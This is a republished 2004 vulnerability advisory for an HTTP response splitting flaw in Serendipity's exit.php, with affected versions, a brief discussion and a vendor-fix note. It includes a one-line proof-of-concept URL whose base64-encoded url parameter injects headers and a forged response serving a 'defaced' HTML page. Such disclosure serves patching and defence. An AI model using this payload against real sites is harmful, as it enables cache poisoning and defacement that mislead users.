Serendipity Exit.PHP HTTP Response Splitting Vulnerability

BID:11497

Info

Serendipity Exit.PHP HTTP Response Splitting Vulnerability

Bugtraq ID: 11497
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Oct 21 2004 12:00AM
Updated: Oct 21 2004 12:00AM
Credit: Discovery of this vulnerability is credited to ChaoticEvil.
Vulnerable: S9Y Serendipity 0.7 beta3
S9Y Serendipity 0.7 beta1
S9Y Serendipity 0.7 -beta4
S9Y Serendipity 0.7 -beta2
S9Y Serendipity 0.6 -rc2
S9Y Serendipity 0.6 -rc1
S9Y Serendipity 0.6 -pl3
S9Y Serendipity 0.6 -pl2
S9Y Serendipity 0.6 -pl1
S9Y Serendipity 0.6
S9Y Serendipity 0.5 -pl1
S9Y Serendipity 0.5
S9Y Serendipity 0.4
S9Y Serendipity 0.3
Not Vulnerable: S9Y Serendipity 0.7 -rc1

Discussion

Serendipity Exit.PHP HTTP Response Splitting Vulnerability

Serendipity is reported prone to an HTTP response splitting vulnerability.

A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted.

This issue is identified in Serendipity 0.7-beta4 and prior.

Exploit / POC

Serendipity Exit.PHP HTTP Response Splitting Vulnerability

The following proof of concept is available:

http://www.example.com/serendipity/exit.php?url=DQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb
250ZW50LUxlbmd0aDogMA0KDQpIVFRQLzEuMCAyMDAgT0sNCkNvbnRlbnQtTGVuZ3RoOiAyMQ0KQ
29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCg0KPGh0bWw%2bKmRlZmFjZWQqPC9odG1sPg%3d%3d

Solution / Fix

Serendipity Exit.PHP HTTP Response Splitting Vulnerability

Solution:
The vendor has released an update to address this vulnerability.


S9Y Serendipity 0.3

S9Y Serendipity 0.4

S9Y Serendipity 0.5 -pl1

S9Y Serendipity 0.5

S9Y Serendipity 0.6

S9Y Serendipity 0.6 -rc1

S9Y Serendipity 0.6 -pl3

S9Y Serendipity 0.6 -rc2

S9Y Serendipity 0.6 -pl2

S9Y Serendipity 0.6 -pl1

S9Y Serendipity 0.7 beta1

S9Y Serendipity 0.7 beta3

S9Y Serendipity 0.7 -beta4

S9Y Serendipity 0.7 -beta2

References

Serendipity Exit.PHP HTTP Response Splitting Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report